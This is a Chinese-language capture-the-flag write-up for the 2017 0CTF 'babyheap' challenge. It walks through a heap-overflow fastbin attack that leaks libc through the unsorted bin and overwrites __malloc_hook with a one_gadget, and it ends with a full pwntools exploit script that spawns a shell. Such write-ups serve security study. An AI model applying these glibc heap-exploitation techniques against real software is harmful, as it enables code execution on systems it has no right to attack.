2017-0ctf-babyheap

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/fastbin-attack/2017_0ctf_babyheap

grxer@Ubuntu16:~/Desktop/pwn/heap$ checksec babyheap 
[*] '/home/grxer/Desktop/pwn/heap/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

刚开始的init_my会利用/dev/urandom随机函数用mmap随机映射一块内存给我们存放指针,没有了确定地址,我们就不好去构成unlink攻击

allocate()根据我们输入的size构成如下一个结构体,把指针放在mmap的堆上

00000000 chunk           struc ; (sizeof=0x18, mappedto_6)
00000000 inuse dq ?
00000008 size dq ?
00000010 ptr dq ? ; offset
00000018 chunk ends

fill()也会根据我们的size进行读写,任意堆溢出,这就好办了

freechunk()挺好的,该置零的都置零

LODWORD(a1[v2].inuse) = 0;
a1[v2].size = 0LL;
free(a1[v2].ptr);
result = (__int64)&a1[v2];
*(_QWORD *)(result + 16) = 0LL;

unsort bin泄露libc

allocate(0x10)  # idx 0, 0x00
allocate(0x10) # idx 1, 0x20
allocate(0x10) # idx 2, 0x40
allocate(0x10) # idx 3, 0x60
allocate(0x80) # idx 4, 0x80
free(2)
free(1)
payload = 0x10 * b'a' + p64(0) + p64(0x21) + p8(0x80)
fill(0, len(payload), payload)
payload = 0x10 * b'b' + p64(0) + p64(0x21)
fill(3, len(payload), payload)
allocate(0x10)
allocate(0x10)
payload = 0x10 * b'c' + p64(0) + p64(0x91)
fill(3, len(payload), payload)
allocate(0x80)
free(4)
# gdb.attach(io)
dump(2)

这里我们申请五个堆

image-20230817100944060

我们free(2)free(1)后形成单链表

image-20230320103408525

由于我们可以利用堆溢出chunk0去一改写chunk1,改写1的fd为,由于堆一般都是以4k对齐的,我们可以根据申请堆的大小猜测处chunk2和chunk4只有最后一个字节0x80的差距

payload = 0x10 * b'a' + p64(0) + p64(0x21) + p8(0x80)即可

image-20230320103540783

这样我们申请两次就可以拿到chunk4,我们需要改写大小绕过fastbin0x20的检测

堆溢出chunk3即可payload = 0x10 * b'b' + p64(0) + p64(0x21)

allocate(0x10)
allocate(0x10)

把chunk2分配到chunk4数据区

这时候释放chunk4之前,要再申请一个堆防止unsorted bin的chunk4与topchunk合并,并把chunk4的大小溢出为0x91进入unsortedbin,输出chunk2就能拿到unsortbin地址

image-20230817101003145

通过固定偏移找到libc基址

切割chunk malloc_hook

这个时候我们的chunk2是可以控制chunk4的data区,这就需要我们把chunk4丢到fastbin的链表中,实现任意地址malloc,但是chunk4现在再unsortbin的循环链表里

我们可以利用ptmalloc2特性当fastbin大小里没有合适大小的chunk,会去unsorted bin找合适大小的块或者切割合适大小的块

#include <stdio.h>
#include <stdlib.h>
int main(void) {
void* x = malloc(0x80);
malloc(0x10); //防止和topchunk合并
free(x);
void* y = malloc(0x60);

}
//gcc -g -o test test.c

malloc(0x10)

image-20230320111817704

free(x)

image-20230817101021289

void* y = malloc(0x60);

image-20230817101219838

可以看到直接分割

image-20230320103948398

0x7f我们需要伪造0x60大小chunk,直接一步达到要求

allocate(0x60) #idx4
free(4)

再把fakechunk写入

ake_chunk_addr = main_arena - 0x33
fake_chunk = p64(fake_chunk_addr)
fill(2, len(fake_chunk), fake_chunk)

image-20230320112319902

allocate(0x60) # idx 4
allocate(0x60) # idx 6

得到chunk

0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

写入onegadget

one_gadget_addr = libc + 0x4526a
payload = 0x13 * b’a’ + p64(one_gadget_addr)
fill(6, len(payload), payload)

继续跑路

image-20230320110015505

EXP

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./babyheap'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote('node4.buuoj.cn','28529')
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))

def allocate(size):
io.recvuntil(b'Command: ')
io.sendline(b'1')
io.recvuntil(b'Size: ')
io.sendline(str(size).encode())


def fill(idx, size, content):
io.recvuntil(b'Command: ')
io.sendline(b'2')
io.recvuntil(b'Index: ')
io.sendline(str(idx).encode())
io.recvuntil(b'Size: ')
io.sendline(str(size).encode())
io.recvuntil(b'Content: ')
io.send(content)


def free(idx):
io.recvuntil(b'Command: ')
io.sendline(b'3')
io.recvuntil(b'Index: ')
io.sendline(str(idx).encode())


def dump(idx):
io.recvuntil(b'Command: ')
io.sendline(b'4')
io.recvuntil(b'Index: ')
io.sendline(str(idx).encode())
allocate(0x10) # idx 0, 0x00
allocate(0x10) # idx 1, 0x20
allocate(0x10) # idx 2, 0x40
allocate(0x10) # idx 3, 0x60
allocate(0x80) # idx 4, 0x80
# gdb.attach(io)
free(2)
free(1)
# gdb.attach(io)
payload = 0x10 * b'a' + p64(0) + p64(0x21) + p8(0x80)
fill(0, len(payload), payload)
# gdb.attach(io)
payload = 0x10 * b'b' + p64(0) + p64(0x21)
fill(3, len(payload), payload)
allocate(0x10) #idx 1
allocate(0x10) #idx 2
payload = 0x10 * b'c' + p64(0) + p64(0x91)
fill(3, len(payload), payload)
allocate(0x80)# idx5
free(4)
# gdb.attach(io)
dump(2)
ru(b'Content: \n')
unsortbin_addr = u64(io.recv(8))
main_arena=unsortbin_addr-88
libc=main_arena-0x3C4B20
p('libc',libc)
allocate(0x60) #idx4
free(4)
# gdb.attach(io)
fake_chunk_addr = main_arena - 0x33
fake_chunk = p64(fake_chunk_addr)
fill(2, len(fake_chunk), fake_chunk)
allocate(0x60) # idx 4
allocate(0x60) # idx 6
one_gadget_addr = libc + 0x4526a
payload = 0x13 * b'a' + p64(one_gadget_addr)
fill(6, len(payload), payload)
gdb.attach(io)

allocate(0x100)
io.interactive()